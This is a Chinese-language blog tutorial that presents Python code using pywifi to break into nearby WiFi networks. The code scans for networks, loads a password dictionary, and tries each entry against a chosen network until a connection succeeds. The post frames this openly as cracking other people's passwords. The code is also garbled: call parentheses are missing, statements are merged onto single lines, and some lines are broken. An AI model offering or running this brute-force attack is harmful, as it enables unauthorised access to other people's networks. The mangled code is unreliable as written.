密碼設置複雜的wifi(WiFi密碼設置複雜了)
2023-07-31 19:29:04 2
現在每個家庭都有WiFi!大家都以為為了防止別人蹭WiFi密碼設置複雜一點,萬能鑰匙就破解不了!今天給大家看看python工程師是怎麼破解WiFi密碼的!今天利用python中的pywifi模塊來寫這個程序!上教程
一、獲取密碼文件的路徑
self.get_value = StringVar
二、獲取WiFi帳號
self.get_wifi_value = StringVar
三、獲取WiFi密碼
self.get_wifimm_value = StringVar
四、抓取網卡接口
self.wifi = pywifi.PyWiFi
五、抓取第一個無線網卡
self.iface = self.wifi.interfaces[0]
六、測試連接斷開所有連結
self.iface.disconnect
七、測試網卡是否屬於斷開狀態
assert self.iface.status in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
八、自動會調用的函數,返回自身的網卡
return '(WIFI:%s,%s)' % (self.wifi,self.iface.name)
九、搜索WiFi
#開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scantime.sleep(15)#在若干秒後獲取掃描結果scanres = self.iface.scan_results#統計附近被發現的熱點數量nums = len(scanres)print("數量: %s"%(nums))#print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal"))# 實際數據self.show_scans_wifi_list(scanres)return scanres
十、添加密碼文件目錄
self.filename = tkinter.filedialog.askopenfilenameself.get_value.set(self.filename)
十一、Treeview綁定事件
self.sels= event.widget.selectionself.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])#print("you clicked on",self.wifi_tree.item(self.sels,"values")[1])
十二、讀取密碼字典,進行匹配
def readPassWord(self):self.getFilePath = self.get_value.getself.get_wifissid =)while True:try:self.pwdStr=pwdfilehander.readlineif not self.pwdStr:breakself.bool1=self.connect(self.pwdStr,self.get_wifissid)if self.bool1:self.res = "===正確=== wifi名:%s 匹配密碼:%s "%(self.get_wifissid,self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "---錯誤--- wifi名:%s匹配密碼:%s"%(self.get_wifissid,self.pwdStr)print(self.res)time.sleep(3)except:continue
十三、對wifi和密碼進行匹配
#創建wifi連結文件self.profile = pywifi.Profileself.profile.ssid =wifi_ssid #wifi名稱self.profile.auth = const.AUTH_ALG_OPEN #網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP #加密單元self.profile.key = pwd_Str #密碼self.iface.remove_all_network_profiles #刪除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile)#設定新的連結文件self.iface.connect(self.tmp_profile)#連結time.sleep(5)if self.iface.status == const.IFACE_CONNECTED: #判斷是否連接上isOK=Trueelse:isOK=Falseself.iface.disconnect #斷開time.sleep(1)#檢查斷開狀態assert self.iface.status in\[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK
運行結果